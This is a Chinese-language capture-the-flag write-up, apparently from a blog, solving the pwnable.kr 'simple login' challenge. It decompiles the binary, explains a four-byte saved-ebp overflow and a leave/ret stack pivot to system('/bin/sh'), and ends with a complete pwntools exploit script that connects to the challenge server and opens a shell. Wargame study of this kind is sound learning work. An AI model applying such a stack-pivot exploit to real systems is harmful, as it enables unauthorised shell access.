pwnable.kr - simple login

题目信息

题目给出的信息如下:

题目信息

分析

下载得到 login 文件,这是一个静态链接的可执行文件。拖进 IDA 分析,main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE *v4; // [esp+18h] [ebp-28h]
  char s; // [esp+1Eh] [ebp-22h]
  unsigned int v6; // [esp+3Ch] [ebp-4h]

  memset(&s, 0, 0x1Eu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ");
  _isoc99_scanf("%30s", &s);
  memset(&input, 0, 0xCu);
  v4 = 0;
  v6 = Base64Decode((int)&s, &v4);
  if ( v6 > 0xC )
  {
    puts((int)"Wrong Length");
  }
  else
  {
    memcpy(&input, v4, v6);
    if ( auth(v6) == 1 )
      correct();
  }
  return 0;
}

这里没有发现可以利用的漏洞,大概的流程是叫我们输入一个 base64 加密后的字符串,但是对长度进行了检查,解密后的长度不可以超过 12。继续分析 auth 函数如下:

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [esp+14h] [ebp-14h]
  char *s2; // [esp+1Ch] [ebp-Ch]
  int v4; // [esp+20h] [ebp-8h]

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5((int)&v2, 12);
  printf("hash : %s\n", s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

这里将 input 存放的解密后的字符串复制到了 v4 中,但是 input 的长度最大可以达到 12,而 v4 的长度仅仅为 8,存在栈溢出漏洞。这里溢出的 4 个字节将会覆盖函数 auth 的栈帧中保存的 ebp,这是函数 auth 的调用函数 main 函数的 ebp。也就是说,我们可以通过这里的栈溢出控制 main 函数的 ebp 寄存器的值。回到 main 函数,继续分析 correct 函数如下:

void __noreturn correct()
{
  if ( input == 0xDEADBEEF )
  {
    puts((int)"Congratulation! you are good!");
    system("/bin/sh");
  }
  exit(0);
}

可以看到在 correct 函数里面直接调用了 system("/bin/sh"),如果能够控制 eip 直接跳转至这里,那么便可成功解题了。

解题思路

auth 函数以及 main 函数的返回处存在着两条相同的指令:

leave
ret

其中 leave 等价于:

mov esp, ebp
pop ebp

ret 等价于:

pop eip

所以实质上在 auth 以及 main 函数的返回处都是相同的三条指令:

mov esp, ebp
pop ebp
pop eip

首先通过栈溢出控制函数 auth 的栈帧中保存的 ebp,接着在其返回处通过 pop ebp 控制 main 函数的 ebp 寄存器的值,然后在 main 函数的返回处通过 mov esp, ebp 控制 esp 的值,进而通过 pop eip 控制 eip 的值,最终跳转至 system("/bin/sh")

wirteup

from pwn import *

context(os='linux', arch='i386', log_level='info')

p = remote('pwnable.kr', 9003)

call_system_addr = 0x8049284
ctrl_main_ebp = 0x811eb40

payload = 0x4 * 'a' + p32(call_system_addr) + p32(ctrl_main_ebp)
payload = b64e(payload)

p.recvuntil(' : ')
p.sendline(payload)

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值